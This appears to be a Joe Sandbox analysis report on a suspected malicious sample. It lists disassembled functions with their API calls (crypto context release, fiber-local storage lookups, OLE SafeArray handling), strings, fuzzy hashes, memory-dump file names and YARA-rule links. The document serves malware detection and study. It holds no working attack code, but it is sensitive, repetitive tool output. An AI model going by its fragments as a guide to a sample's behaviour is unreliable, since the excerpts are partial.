Opcode Fuzzy Hash: 90e54d56a01a4ee6f1664ea0d024f168e10530a56e681fdc2420aecd9da09b3f
Instruction Fuzzy Hash: 6621387551C3409FD714DF24C448B5ABBF8BB99718F804A0DF46593780EB75E504CB92

Function 6899D9D0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010,513F6A41,7508FC30,?,00000000), ref: 6899DA1A

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

Strings

operation failed with error , xrefs: 6899DA49
OS_Rng: , xrefs: 6899DA35

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ErrorLastXinvalid_argumentstd::_
String ID: operation failed with error $OS_Rng:
API String ID: 406877150-700108173
Opcode ID: eeb35a29c4d8ed74d61d7bd4d8c76b86b03bd9ff3284c0de0ffd27344f2f6839
Instruction ID: a915da7006801712a2f5d851cbf74a0573cddacd9ff46fccdb0b63edd4d6d6f3
Opcode Fuzzy Hash: eeb35a29c4d8ed74d61d7bd4d8c76b86b03bd9ff3284c0de0ffd27344f2f6839
Instruction Fuzzy Hash: 73418CB59083809FD720CF69C841B6BBBE8BFE9744F94492EE19987241DB76D404CB63

Function 6899DEE0 Relevance: 1.6, APIs: 1, Instructions: 71encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 68944760: __CxxThrowException@8.LIBCMT ref: 689447F9

CryptReleaseContext.ADVAPI32(?,00000000,00000000,?), ref: 6899DF7B

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ContextCryptException@8ReleaseThrow
String ID:
API String ID: 3140249258-0
Opcode ID: c0e15a547f8bfe6cebbe872b53acccccdbf05ee09962b34036f8dae594ebac59
Instruction ID: f4372482c0f5ad25d1524e754db94d955bb6f2247c49190f278bcee1d6535211
Opcode Fuzzy Hash: c0e15a547f8bfe6cebbe872b53acccccdbf05ee09962b34036f8dae594ebac59
Instruction Fuzzy Hash: A821A1B5508340AFC600DF14C940B5BBBE8EBAA768F840A2DF84593381D771E508CBA3

Function 6899DD20 Relevance: 1.6, APIs: 1, Instructions: 66encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000000,689BF0E6,000000FF,6899DF67,00000000,?), ref: 6899DDB4

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 56f59dbff6c0d810773121dd8e3595321890799d154543b1f75fe533bd651b27
Instruction ID: 1beef33a250824b4bf84c398606aff186dbeffcf89aebe1915da263fa981b520
Opcode Fuzzy Hash: 56f59dbff6c0d810773121dd8e3595321890799d154543b1f75fe533bd651b27
Instruction Fuzzy Hash: E811B9B56087509FEB10CF58C8C575A77ECFB45754F880529E925D3B80E77AD4048791

Function 689C35E0 Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000), ref: 689C35F5

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: a1b87d9b2704b17ed1811ff514a01ddaacf61d226f5d18f440bdd80ffcf3c60e
Instruction ID: c5534ada95dce35149422a76c9aa285e982d85903689d3efbfc44ef2132cbf26
Opcode Fuzzy Hash: a1b87d9b2704b17ed1811ff514a01ddaacf61d226f5d18f440bdd80ffcf3c60e
Instruction Fuzzy Hash: 1AD0A7B160531157FF20CA74DD09B4A36EC5F06244F490010F514D7280DF61D400CB66

Function 6899D7F0 Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000), ref: 6899D803

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: bdfd9c786a3b5c99eb4f35f09ac57fc109125b4b94a812474415b991f20881e2
Instruction ID: d4d8d3bc83761349a5790391bb5cbacdc2d3bd8b6602694c7f4cacef333890dc
Opcode Fuzzy Hash: bdfd9c786a3b5c99eb4f35f09ac57fc109125b4b94a812474415b991f20881e2
Instruction Fuzzy Hash: EED05EB574431017DB20DE189C45B8776CC5F11A48F5A4829F56AD2281D6B1D48087D6

Function 6899D7D4 Relevance: 1.5, APIs: 1, Instructions: 8encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000,8504498B), ref: 6899D7E0

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: d7f67b813982205a91272535380c6c8a4701adc0bafde8696766c44940f7c9fa
Instruction ID: 683e60d044b7766bfec9570d539cc7b976183d7bc261bac6413c331acd7573f8
Opcode Fuzzy Hash: d7f67b813982205a91272535380c6c8a4701adc0bafde8696766c44940f7c9fa
Instruction Fuzzy Hash: C9B012F0A5410066CD30E6150D8DB0C280A530138CF8808143112145C14695D0108414

Function 0526291C Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d4922c62993c24b899fdd485cc3ac8c24237fef4ceff4b73e5e527632128f8a
Instruction ID: 1adf0adeab2fcbcf4f471619cf0b2740663c2b8bbfbe000ba4f7708c037aeff0
Opcode Fuzzy Hash: 8d4922c62993c24b899fdd485cc3ac8c24237fef4ceff4b73e5e527632128f8a
Instruction Fuzzy Hash: 6D5102B8D10348DFDB14CFA9D885BADBBF1BF49304F20902AE819AB290D7749885CF45

Function 05262928 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 659583a620afe7838e2c6e9b3d737fd517f1e54e1b018d13191293ee112014d9
Instruction ID: a361019ff9615157c844ed3aa36e3230a5904f45f545c80eb90d90027018e84e
Opcode Fuzzy Hash: 659583a620afe7838e2c6e9b3d737fd517f1e54e1b018d13191293ee112014d9
Instruction Fuzzy Hash: 2541EFB8D10249DFDB14CFA9D885BADBBF1BF49304F209129E819AB290D774A885CF45

Function 05263C22 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df684e16fe816f71fb4cd98df95af1b07da30cc3419850560e5da1073c71f601
Instruction ID: de8526cb348984ed2aa941560b3146e5352d6c74dab52f3e75fe5b365b03e372
Opcode Fuzzy Hash: df684e16fe816f71fb4cd98df95af1b07da30cc3419850560e5da1073c71f601
Instruction Fuzzy Hash: 7731C875D41208AFDB04DFA8D880AEEBBB5FF49310F109465E515B7360DB74AA04CF95

Function 05263C28 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14e51abed68fa349f5225348462301e37a413d79e0f0b462720d704c0fa4b801
Instruction ID: 65d565ff8e2836355f2c10a36893ef7ed13655ea70cca43001d460a12766eba4
Opcode Fuzzy Hash: 14e51abed68fa349f5225348462301e37a413d79e0f0b462720d704c0fa4b801
Instruction Fuzzy Hash: 6131C875D412089FDB04CFA8D880AEEBBB5FF49310F109465E515B7360DB74AA04CF95

Function 0526BE78 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 818eed7e3b08ab4cf231277603b99c887c1b8124136642f5e01b4fe4060750cc
Instruction ID: 7314de94b1f9992da89a480b0a5660c029fffa7a6fe72a36f953c0ac3f362d40
Opcode Fuzzy Hash: 818eed7e3b08ab4cf231277603b99c887c1b8124136642f5e01b4fe4060750cc
Instruction Fuzzy Hash: A621AAB4D152088FCB10CFA9D984AEEBBF5AB49310F24901AE818B3210C775A945CFA5

Function 689B6FB1 Relevance: 54.3, APIs: 36, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBCMT ref: 689B6FCC

Part of subcall function 689B4147: DName::DName.LIBCMT ref: 689B415A
Part of subcall function 689B4147: DName::operator+.LIBCMT ref: 689B4161

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: d898ba850483bb4d7660ed094b6d73aea0a44dfd801db71f8ebcd1606a205d82
Instruction ID: d3f1d8143f5836f4eb937aa2504d20f1a45e5b56aab0b13edd416be01f47bf62
Opcode Fuzzy Hash: d898ba850483bb4d7660ed094b6d73aea0a44dfd801db71f8ebcd1606a205d82
Instruction Fuzzy Hash: 55D12E75900209AFDF01DFA8C885AFFBBF8EF19318F80415AE515AB290DB34DA45DB60

Function 689AEC9D Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,689AA2D4,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AECA5
__mtterm.LIBCMT ref: 689AECB1

Part of subcall function 689AE97C: DecodePointer.KERNEL32(00000012,689AA397,689AA37D,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AE98D
Part of subcall function 689AE97C: TlsFree.KERNEL32(0000000C,689AA397,689AA37D,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AE9A7
Part of subcall function 689AE97C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,689AA397,689AA37D,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689B2325
Part of subcall function 689AE97C: DeleteCriticalSection.KERNEL32(0000000C,?,?,689AA397,689AA37D,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689B234F

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 689AECC7
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 689AECD4
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 689AECE1
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 689AECEE
TlsAlloc.KERNEL32(?,?,689AA2D4,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AED3E
TlsSetValue.KERNEL32(00000000,?,?,689AA2D4,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AED59
__init_pointers.LIBCMT ref: 689AED63
EncodePointer.KERNEL32(?,?,689AA2D4,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AED74
EncodePointer.KERNEL32(?,?,689AA2D4,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AED81
EncodePointer.KERNEL32(?,?,689AA2D4,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AED8E
EncodePointer.KERNEL32(?,?,689AA2D4,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AED9B
DecodePointer.KERNEL32(Function_0006EB00,?,?,689AA2D4,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AEDBC
__calloc_crt.LIBCMT ref: 689AEDD1
DecodePointer.KERNEL32(00000000,?,?,689AA2D4,689D95C0,00000008,689AA468,?,?,?,689D95E0,0000000C,689AA523,?), ref: 689AEDEB
GetCurrentThreadId.KERNEL32 ref: 689AEDFD

Strings

KERNEL32.DLL, xrefs: 689AECA0
FlsFree, xrefs: 689AECE3
FlsSetValue, xrefs: 689AECD6
FlsGetValue, xrefs: 689AECC9
FlsAlloc, xrefs: 689AECC1

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 1868149495-3819984048
Opcode ID: 0a5c550a2dda79c5d83a921f3dcaa111bce5985441555de419ee6adbf75ffe7b
Instruction ID: 52fec8c3d652fb052107397758346dc23d04f45b3118d9243f8b3e7c32ad4ec3
Opcode Fuzzy Hash: 0a5c550a2dda79c5d83a921f3dcaa111bce5985441555de419ee6adbf75ffe7b
Instruction Fuzzy Hash: F7316D319583149EDF10EF75AC0C62E3FA8BF9666C794152AE4B093290DB31D441DF91

Function 68950EA0 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 337COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 68950EF2
std::_Xinvalid_argument.LIBCPMT ref: 68950F14
_memmove.LIBCMT ref: 68950F70
_memmove.LIBCMT ref: 68950F95
_memmove.LIBCMT ref: 68950FA9
_memmove.LIBCMT ref: 68950FDB
_memmove.LIBCMT ref: 68951182
std::_Xinvalid_argument.LIBCPMT ref: 689511B6

Strings

invalid string position, xrefs: 689511B1
string too long, xrefs: 68950EED, 68950F0F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memmove$Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1771113911-4289949731
Opcode ID: f2e71c86196b5ff6e48f641fb4a96dc3c604eee5505296d2efd49db45e71d23b
Instruction ID: a44efa4f03ce8a7bcefd2b24771101e554ad534f8666130fe561b0d287016f89
Opcode Fuzzy Hash: f2e71c86196b5ff6e48f641fb4a96dc3c604eee5505296d2efd49db45e71d23b
Instruction Fuzzy Hash: 76B16F71740145ABDB28CE1CDC91A6E73A6EF86748B94491DF892CB741C734EC62CBA3

Function 689B7FC4 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getBasicDataType.LIBCMT ref: 689B7FFF
DName::operator=.LIBCMT ref: 689B8013
DName::operator+=.LIBCMT ref: 689B8021
UnDecorator::getPtrRefType.LIBCMT ref: 689B804D
UnDecorator::getDataIndirectType.LIBCMT ref: 689B80CA
UnDecorator::getBasicDataType.LIBCMT ref: 689B80D3
operator+.LIBCMT ref: 689B8166

Strings

std::nullptr_t, xrefs: 689B8122
volatile, xrefs: 689B800B, 689B8139

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Decorator::getType$Data$Basic$IndirectName::operator+=Name::operator=operator+
String ID: std::nullptr_t$volatile
API String ID: 2203807771-3726895890
Opcode ID: 85b96fb6b3e6af104612e2f2380e00b305d33d00a4fa43b3ab3026e2a5c425dd
Instruction ID: fcbcefbce5835184495b08577e52845d279e9bee1fe2e8b424db8ddfb51f7dd9
Opcode Fuzzy Hash: 85b96fb6b3e6af104612e2f2380e00b305d33d00a4fa43b3ab3026e2a5c425dd
Instruction Fuzzy Hash: 4F41ACB55A810ABFCB14CFA4C8849EFBF78FF1A3C9FC08169E96566100C731D6428B51

Function 68965140 Relevance: 21.2, APIs: 14, Instructions: 203COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 68965177

Part of subcall function 68972820: _malloc.LIBCMT ref: 68972871

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000004), ref: 689651B9
SafeArrayCreateVector.OLEAUT32(00000011,00000000,00000000), ref: 689651D5
SafeArrayAccessData.OLEAUT32(00000000,00000000), ref: 689651E5
_memmove.LIBCMT ref: 689651FF
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 68965208
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6896522C
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 68965263
VariantClear.OLEAUT32(?), ref: 6896526C
SafeArrayPutElement.OLEAUT32(00000000,00000002,?), ref: 689652AD
VariantClear.OLEAUT32(?), ref: 689652B6
SafeArrayPutElement.OLEAUT32(00000000,00000002,00000002), ref: 689652D2
SafeArrayDestroy.OLEAUT32(00000000), ref: 6896534E
VariantClear.OLEAUT32(?), ref: 68965358

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
